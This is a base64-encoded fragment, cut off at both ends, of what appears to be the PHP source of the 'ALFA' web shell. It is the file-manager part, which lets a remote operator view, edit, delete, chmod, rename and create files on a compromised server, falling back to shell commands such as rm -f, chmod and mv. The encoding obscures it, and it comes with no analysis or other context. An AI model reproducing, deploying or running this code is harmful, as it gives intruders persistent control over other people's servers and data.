Wxlc01hblwnLG51bGwsXCdkZWxldGVcJywgXCcnLiRyYXdfbmFtZS4nXCcpIDogXCdcJzsiPiBYIDwvYT48L3RkPjwvdHI+JzsNCiRsID0gJGw/MDoxOw0KJGNjKys7DQp9DQplY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygoaXNzZXQoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKSkuIic+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4NCjxzZWxlY3QgaWQ9J3Rvb2xzX3NlbGVjdG9yJyBuYW1lPSdhbGZhMSc+PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnIHNlbGVjdGVkPkRlbGV0ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3ppcCc+QWRkIDIgQ29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+QWRkIDIgVW5jb21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIFppcCAvIFVuemlwIDwvb3B0aW9uPjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPg0KPC9mb3JtPjwvdGFibGU+PC9kaXY+PC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFGaWxlc1Rvb2xzKCl7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz0iZmlsZXN0b29scyI+JzsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpJF9QT1NUWydhbGZhMSddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnYWxmYTEnXSk7DQokYWxmYTFfZGVjb2RlZCA9ICRfUE9TVFsnYWxmYTEnXTsNCiRjaGRpcl9mYWxzID0gZmFsc2U7DQppZighQGNoZGlyKCRfUE9TVFsnYyddKSl7DQoJJGNoZGlyX2ZhbHMgPSB0cnVlOw0KCSRfUE9TVFsnYWxmYTEnXSA9ICRfUE9TVFsiYyJdLiIvIi4kX1BPU1RbImFsZmExIl07DQoJJGFsZmFfY2FucnVuY21kID0gX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsNCglpZigkYWxmYV9jYW5ydW5jbWQpew0KCQkkc2xhc2hlZF9hbGZhMSA9IGFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMSddKTsNCgkJJGZpbGVfaW5mbyA9IGV4cGxvZGUoIjoiLCBhbGZhRXgoJ3N0YXQgLWMgIiVGOiVVOiVHOiVzOiVZOjAlYTolQSIgIicuJHNsYXNoZWRfYWxmYTEuJyInKSk7DQoJCSRwZXJtX2NvbG9yX2NsYXNzID0gYWxmYUV4KCJpZiBbWyAtdyAnIi4kc2xhc2hlZF9hbGZhMS4iJyBdXTsgdGhlbiBlY2hvIG1haW5fZ3JlZW5fcGVybTsgZWxpZiBbWyAtciAnIi4kc2xhc2hlZF9hbGZhMS4iJyBdXTsgdGhlbiBlY2hvIG1haW5fd2hpdGVfcGVybTsgZWxzZSBlY2hvIG1haW5fcmVkX3Blcm07IGZpIik7DQoJfQ0KfQ0KaWYoJF9QT1NUWydhbGZhMiddID09ICdhdXRvJyl7DQppZihpc19hcnJheShAZ2V0aW1hZ2VzaXplKCRfUE9TVFsnYWxmYTEnXSkpKXsNCiRfUE9TVFsnYWxmYTInXSA9ICdpbWFnZSc7DQp9ZWxzZXsNCgkkX1BPU1RbJ2FsZmEyJ10gPSAndmlldyc7DQoJaWYoJGNoZGlyX2ZhbHMpew0KCQlpZigkYWxmYV9jYW5ydW5jbWQpew0KCQkJJG1pbWUgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCJmaWxlIC0tbWltZS10eXBlICciLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMSddKS4iJyIpKTsNCgkJCSRtaW1ldHlwZSA9ICRtaW1lWzFdOw0KCQkJaWYoIWVtcHR5KCRtaW1ldHlwZSkpew0KCQkJCWlmKHN0cnN0cigkbWltZXR5cGUsICJpbWFnZSIpKXsNCgkJCQkJJF9QT1NUWydhbGZhMiddID0gJ2ltYWdlJzsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQp9DQp9DQppZigkX1BPU1RbJ2FsZmEyJ10gPT0gInJlbmFtZSIgJiYgIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkgJiYgQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSkpeyRyZW5hbWVfY2FjaGUgPSAkX1BPU1RbJ2FsZmEzJ107fQ0KaWYoQCRfUE9TVFsnYWxmYTInXSA9PSAnbWtmaWxlJyl7DQokX1BPU1RbJ2FsZmExJ10gPSB0cmltKCRfUE9TVFsnYWxmYTEnXSk7DQppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsNCglpZihfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbImMiXSkpew0KCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7DQoJCSRfUE9TVFsnYWxmYTInXSA9ICJlZGl0IjsNCgl9DQp9DQppZighQGZpbGVfZXhpc3RzKCRfUE9TVFsnYWxmYTEnXSkpew0KJGZwID0gQGZvcGVuKCRfUE9TVFsnYWxmYTEnXSwgJ3cnKTsNCmlmKCRmcCl7DQokX1BPU1RbJ2FsZmEyJ10gPSAiZWRpdCI7DQpmY2xvc2UoJGZwKTsNCn0NCn1lbHNlew0KJF9QT1NUWydhbGZhMiddID0gImVkaXQiOw0KfQ0KfQ0KaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKEAkX1BPU1RbJ2FsZmExJ10pKXsNCmVjaG8gX19wcmUoKS4iPGNlbnRlcj48cD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPjxmb250IGNvbG9yPSdyZWQnPiEuLi5GSUxFIERPRVNUIE5PVCBFWElUUy4uLiE8L2ZvbnQ+PC9kaXY+PC9wPjwvY2VudGVyPjwvZGl2PjxzY3JpcHQ+ZWRpdG9yX2Vycm9yPWZhbHNlO3JlbW92ZUhpc3RvcnkoJyIuJF9QT1NUWydhbGZhNCddLiInKTs8L3NjcmlwdD4iOw0KYWxmYUZvb3RlcigpOw0KcmV0dXJuOw0KfQ0KaWYoJGNoZGlyX2ZhbHMpew0KJGZpbGVzaXplID0gJGZpbGVfaW5mb1szXTsNCiR1aWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMV07DQokZ2lkWyJuYW1lIl0gPSAkZmlsZV9pbmZvWzJdOw0KJHBlcm1jb2xvciA9IGFsZmFQZXJtc0NvbG9yKGFycmF5KCJjbGFzcyI9PiRwZXJtX2NvbG9yX2NsYXNzLCJudW0iPT4kZmlsZV9pbmZvWzVdLCJodW1hbiI9PiRmaWxlX2luZm9bNl0pLHRydWUpOw0KfWVsc2V7DQokdWlkID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsnYWxmYTEnXSkpOicnOw0KJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ2FsZmExJ10pKTonJzsNCmlmKCEkdWlkJiYhJGdpZCl7DQokdWlkWyduYW1lJ10gPSBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0BmaWxlb3duZXIoJF9QT1NUWydhbGZhMSddKTonJzsNCiRnaWRbJ25hbWUnXSA9IGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkX1BPU1RbJ2FsZmExJ10pOicnOw0KfQ0KJHBlcm1jb2xvciA9IGFsZmFQZXJtc0NvbG9yKCRfUE9TVFsnYWxmYTEnXSk7DQokZmlsZXNpemUgPSBAZmlsZXNpemUoJF9QT1NUWydhbGZhMSddKTsNCmlmKCFpc3NldCgkdWlkWyduYW1lJ10sJGdpZFsnbmFtZSddKXx8ZW1wdHkoJHVpZFsnbmFtZSddKXx8ZW1wdHkoJGdpZFsnbmFtZSddKSl7DQoJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQoKSl7DQoJCWxpc3QoJHVpZFsnbmFtZSddLCRnaWRbJ25hbWUnXSkgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCdzdGF0IC1jICIlVTolRyIgIicuYWRkc2xhc2hlcygkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJhbGZhMSJdKS4nIicpKTsNCgl9DQp9DQp9DQplY2hvICc8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRhbGZhMV9kZWNvZGVkKS4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPlNpemU6PC9zcGFuPiAnLmFsZmFTaXplKCRmaWxlc2l6ZSkuJyA8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy4kcGVybWNvbG9yLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+RGlyZWN0b3J5Ojwvc3Bhbj4gJy5zdHJfcmVwbGFjZSgiLy8iLCAiLyIsKCRjaGRpcl9mYWxzPyIiOiRfUE9TVFsnYyddLicvJykuJF9QT1NUWydhbGZhMSddKS4nPGJyPjxicj4nOw0KaWYoZW1wdHkoJF9QT1NUWydhbGZhMiddKSkkX1BPU1RbJ2FsZmEyJ10gPSAndmlldyc7DQppZighX2FsZmFfaXNfZGlyKCRfUE9TVFsnYWxmYTEnXSkpew0KJG0gPSBhcnJheSgnVmlldycsICdFZGl0JywgJ0Rvd25sb2FkJywgJ0hpZ2hsaWdodCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnLCAnRGVsZXRlJywgJ0ltYWdlJywgJ0hleGR1bXAnKTsNCiRmdHlwZSA9ICJmaWxlIjsNCn1lbHNlew0KJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7DQokZnR5cGUgPSAiZGlyIjsNCn0NCmZvcmVhY2goJG0gYXMgJHYpDQplY2hvICR2ID09ICdEZWxldGUnID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9InZhciBjaGs9Y29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlIFRoaXMgRmlsZSA/XCcpO2Noaz9lZGl0b3IoXCcnLmFkZHNsYXNoZXMoIWlzc2V0KCRyZW5hbWVfY2FjaGUpPyRfUE9TVFsnYWxmYTEnXTokcmVuYW1lX2NhY2hlKS4nXCcsXCcnLnN0cnRvbG93ZXIoJHYpLidcJyxcJ1wnLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpOlwnXCc7Ij48c3BhbiBjbGFzcz0iZWRpdG9yX2FjdGlvbnMiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsnYWxmYTInXSk/JzxiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+ICcuJHYuJyA8L3NwYW4+IDwvYj4nOiR2KS4nIHwgPC9zcGFuPjwvYT4gJyA6ICc8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnLmFkZHNsYXNoZXMoIWlzc2V0KCRyZW5hbWVfY2FjaGUpPyRfUE9TVFsnYWxmYTEnXTokcmVuYW1lX2NhY2hlKS4nXCcsXCcnLnN0cnRvbG93ZXIoJHYpLidcJyxcJ1wnLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpIj48c3BhbiBjbGFzcz0iZWRpdG9yX2FjdGlvbnMiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsnYWxmYTInXSk/JzxiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+ICcuJHYuJyA8L3NwYW4+IDwvYj4nOiR2KS4nIHwgPC9zcGFuPjwvYT4nOw0KZWNobyAnPGJyPjxicj4nOw0Kc3dpdGNoKCRfUE9TVFsnYWxmYTInXSl7DQpjYXNlICd2aWV3JzoNCkBjaGRpcigkX1BPU1RbJ2MnXSk7DQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48cD48YnV0dG9uIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwcHg7IiBjbGFzcz0iYnV0dG9uIiBvbkNsaWNrPSJjb3B5VG9DbGlwYm9hcmQoXCd2aWV3X21sX2NvbnRlbnRcJyk7Ij5jb3B5IHRvIGNsaXBib2FyZDwvYnV0dG9uPjwvcD48cHJlIGNsYXNzPSJtbDEiIGlkPSJ2aWV3X21sX2NvbnRlbnQiPic7DQplY2hvIGh0bWxzcGVjaWFsY2hhcnMoX19yZWFkX2ZpbGUoJF9QT1NUWydhbGZhMSddKSk7DQplY2hvICc8L3ByZT48L2Rpdj48L2Rpdj4nOw0KYnJlYWs7DQpjYXNlICdoaWdobGlnaHQnOg0KQGNoZGlyKCRfUE9TVFsnYyddKTsNCmlmKEBpc19yZWFkYWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsNCmVjaG8gJzxkaXYgY2xhc3M9ImVkaXRvci12aWV3Ij48ZGl2IGNsYXNzPSJ2aWV3LWNvbnRlbnQiPjxkaXYgY2xhc3M9Im1sMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOw0KJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydhbGZhMSddLHRydWUpOw0KZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+PC9kaXY+PC9kaXY+JzsNCn0NCmJyZWFrOw0KY2FzZSAnZGVsZXRlJzoNCkBjaGRpcigkX1BPU1RbJ2MnXSk7DQppZihAaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKXx8aXNzZXQoJEdMT0JBTFNbImdsb2JfY2hkaXJfZmFsc2UiXSkpew0KJGRlbGV0ZWQgPSB0cnVlOw0KaWYoIUB1bmxpbmsoJF9QT1NUWydhbGZhMSddKSl7DQoJJGRlbGV0ZWQgPSBmYWxzZTsNCglpZigkYWxmYV9jYW5ydW5jbWQpew0KCQlpZihfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsNCgkJCWFsZmFFeCgicm0gLWYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLiInIik7DQoJCQkkZGVsZXRlZCA9IHRydWU7DQoJCX0NCgl9DQp9DQppZigkZGVsZXRlZCllY2hvICdGaWxlIERlbGV0ZWQuLi48c2NyaXB0PnZhciBlbGVtID0gJCgiJy4kX1BPU1RbJ2FsZmE0J10uJyIpLnBhcmVudE5vZGU7ZWxlbS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGVsZW0pO2RlbGV0ZSBlZGl0b3JfZmlsZXNbIicuJF9QT1NUWydhbGZhNCddLiciXTs8L3NjcmlwdD4nO2Vsc2UgZWNobyAnRXJyb3IuLi4nO30NCmJyZWFrOw0KY2FzZSAnY2htb2QnOg0KQGNoZGlyKCRfUE9TVFsnYyddKTsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsNCiRwZXJtcyA9IDA7DQpmb3IoJGk9c3RybGVuKCRfUE9TVFsnYWxmYTMnXSktMTskaT49MDstLSRpKQ0KJHBlcm1zICs9IChpbnQpJF9QT1NUWydhbGZhMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLSRpLTEpKTsNCmlmKCFAY2htb2QoJF9QT1NUWydhbGZhMSddLCAkcGVybXMpKXsNCmlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpew0KYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJztjaG1vZCAiLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7DQplY2hvKCdTdWNjZXNzIScpOw0KfWVsc2V7DQplY2hvICc8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmFsZmEzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fQ0KfWVsc2V7ZWNobygnU3VjY2VzcyEnKTt9DQp9DQpjbGVhcnN0YXRjYWNoZSgpOw0KQWxmYU51bSg4LDksMTAsNyw2LDUsNCwyLDEpOw0KaWYoJGNoZGlyX2ZhbHMpew0KCSRmaWxlX3Blcm0gPSAkZmlsZV9pbmZvWzVdOw0KfWVsc2V7DQoJJGZpbGVfcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJF9QT1NUWydhbGZhMSddKSksLTQpOw0KfQ0KZWNobyAnPHNjcmlwdD5hbGZhM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImVkaXRvcihcJycuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLmNobW9kLnZhbHVlLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjaG1vZCIgdmFsdWU9IicuJGZpbGVfcGVybS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAiPjwvZm9ybT4nOw0KYnJlYWs7DQpjYXNlICdlZGl0JzoNCkBjaGRpcigkX1BPU1RbJ2MnXSk7DQppZighQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSkmJiFfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsNCmVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7DQpicmVhazsNCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsNCiRfUE9TVFsnYWxmYTMnXSA9IHN1YnN0cigkX1BPU1RbJ2FsZmEzJ10sMSk7DQokdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydhbGZhMSddKTsNCiRmcCA9IEBfX3dyaXRlX2ZpbGUoJF9QT1NUWydhbGZhMSddLCRfUE9TVFsnYWxmYTMnXSk7DQppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsNCgkkcm5hbWUgPSAkYWxmYTFfZGVjb2RlZDsNCgkkcmFuZG5hbWUgPSAkcm5hbWUucmFuZCgxMTEsOTk5OSk7DQoJJGZpbGVwYXRoID0gZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pLiIvIi4kcmFuZG5hbWU7DQoJaWYoJGZwID0gQF9fd3JpdGVfZmlsZSgkZmlsZXBhdGggLCRfUE9TVFsnYWxmYTMnXSkpew0KCQlhbGZhRXgoIm12ICciLmFkZHNsYXNoZXMoJGZpbGVwYXRoKS4iJyAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYWxmYTEiXSkuIic7cm0gLWYgJyIuYWRkc2xhc2hlcygkZmlsZXBhdGgpLiInIik7DQoJfQ0KfQ0KaWYoJGZwKXsNCmVjaG8gJ1NhdmVkITxicj48c2NyaXB0PmFsZmEzXz0iIjs8L3NjcmlwdD4nOw0KQHRvdWNoKCRfUE9TVFsnYWxmYTEnXSwkdGltZSwkdGltZSk7DQp9DQp9DQplY2hvICc8YnV0dG9uIGNsYXNzPSJidXR0b24iIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwcHg7IiBvbkNsaWNrPSJjb3B5VG9DbGlwYm9hcmQoXCdlZGl0X3RleHRhcmVhX2NvbnRlbnRcJyk7Ij5jb3B5IHRvIGNsaXBib2FyZDwvYnV0dG9uPjxmb3JtIGlkPSJlZGl0b3JfZWRpdF9hcmVhIiBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKS4nXCcsXCcnLiRfUE9TVFsnYWxmYTInXS4nXCcsXCcxXCcrdGhpcy50ZXh0LnZhbHVlLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpO3JldHVybiBmYWxzZTsiPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIj48L3A+PHRleHRhcmVhIG5hbWU9InRleHQiIGlkPSJlZGl0X3RleHRhcmVhX2NvbnRlbnQiIGNsYXNzPSJiaWdhcmVhIiBvbmtleWRvd249InNhdmVCeUtleShldmVudCk7Ij4nOw0KZWNobyBodG1sc3BlY2lhbGNoYXJzKF9fcmVhZF9maWxlKCRfUE9TVFsnYWxmYTEnXSkpOw0KZWNobyAnPC90ZXh0YXJlYT48cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICI+PC9wPjwvZm9ybT4nOw0KYnJlYWs7DQpjYXNlICdoZXhkdW1wJzoNCkBjaGRpcigkX1BPU1RbJ2MnXSk7DQokYyA9IF9fcmVhZF9maWxlKCRfUE9TVFsnYWxmYTEnXSk7DQokbiA9IDA7DQokaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCiRsZW4gPSBzdHJsZW4oJGMpOw0KZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7DQokaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOw0Kc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQpjYXNlIDA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQpjYXNlIDk6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQpjYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOw0KY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsNCmRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQp9DQokbisrOw0KaWYgKCRuID09IDMyKSB7DQokbiA9IDA7DQppZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQ0KJGhbMV0gLj0gJzxicj4nOw0KJGhbMl0gLj0gIlxuIjsNCn0NCn0NCmVjaG8gJzxkaXYgY2xhc3M9ImVkaXRvci12aWV3Ij48ZGl2IGNsYXNzPSJ2aWV3LWNvbnRlbnQiPjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj1ibGFjaz48dHI+PHRkIGJnY29sb3I9Z3JheT48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZGl2Pic7DQpicmVhazsNCmNhc2UgJ3JlbmFtZSc6DQpAY2hkaXIoJF9QT1NUWydjJ10pOw0KJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKTsNCiRhbGZhM19lc2NhcGUgPSBhZGRzbGFzaGVzKCRfUE9TVFsiYWxmYTMiXSk7DQppZighZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7DQokY21kX3JlbmFtZSA9IGZhbHNlOw0KaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7DQppZihfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsNCiRhbGZhMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKTsNCmFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkuIic7bXYgJyIuJGFsZmExX2VzY2FwZS4iJyAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTMnXSkuIiciKTsNCn1lbHNlew0KJGNtZF9yZW5hbWUgPSB0cnVlOw0KfQ0KfWVsc2V7DQokYWxmYTFfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImFsZmExIl0pOw0KfQ0KaWYoIUByZW5hbWUoJF9QT1NUWydhbGZhMSddLCAkX1BPU1RbJ2FsZmEzJ10pJiYkY21kX3JlbmFtZSl7DQplY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nO31lbHNle2VjaG8oJ1JlbmFtZWQhPHNjcmlwdD50cnl7JCgiJy4kX1BPU1RbJ2FsZmE0J10uJyIpLmlubmVySFRNTCA9ICI8ZGl2IGNsYXNzPVwnZWRpdG9yLWljb25cJz4iK2xvYWRUeXBlKFwnJy4kYWxmYTNfZXNjYXBlLidcJyxcJycuJGZ0eXBlLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJykrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+Jy4kYWxmYTNfZXNjYXBlLic8L2Rpdj4iO2VkaXRvcl9maWxlc1siJy4kX1BPU1RbJ2FsZmE0J10uJyJdLmZpbGUgPSAiJy4kYWxmYTNfZXNjYXBlLiciO2QuZmlsZXMuaW5uZXJIVE1MID0gZC5maWxlcy5pbm5lckhUTUwucmVwbGFjZSgvXFxcJycuJGFsZmExX2VzY2FwZS4nXFxcJy9nLCAiXCcnLiRhbGZhM19lc2NhcGUuJ1wnIik7ZC5maWxlcy5pbm5lckhUTUwgPSBkLmZpbGVzLmlubmVySFRNTC5yZXBsYWNlKC92YWx1ZVw9XCInLiRhbGZhMV9lc2NhcGUuJ1wiLywgXCd2YWx1ZVw9XCInLiRhbGZhM19lc2NhcGUuJ1wiXCcpO2QuZmlsZXMuaW5uZXJIVE1MID0gZC5maWxlcy5pbm5lckhUTUwucmVwbGFjZSgvJy4kYWxmYTFfZXNjYXBlLidcPFwvYVw+L2csICInLiRhbGZhM19lc2NhcGUuJzwvYT4iKTtkLmZpbGVzLmlubmVySFRNTCA9IGQuZmlsZXMuaW5uZXJIVE1MLnJlcGxhY2UoL0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlICMgJy4kYWxmYTFfZXNjYXBlLicgIyBcPy8sICJBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICcuJGFsZmEzX2VzY2FwZS4nICMgPyIpOycuKCRmdHlwZSA9PSAiZGlyIj8idXBkYXRlRGlyc0VkaXRvcignIi4kX1BPU1RbJ2FsZmE0J10uIicsJyIuJGFsZmExX2VzY2FwZS4iJyk7IjoiIikuJ31jYXRjaChlKXtjb25zb2xlLmxvZyhlKX08L3NjcmlwdD4nKTskYWxmYTFfZXNjYXBlID0gJGFsZmEzX2VzY2FwZTt9DQp9DQplY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy4kYWxmYTFfZXNjYXBlLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLm5hbWUudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSInLmFkZHNsYXNoZXMoaHRtbHNwZWNp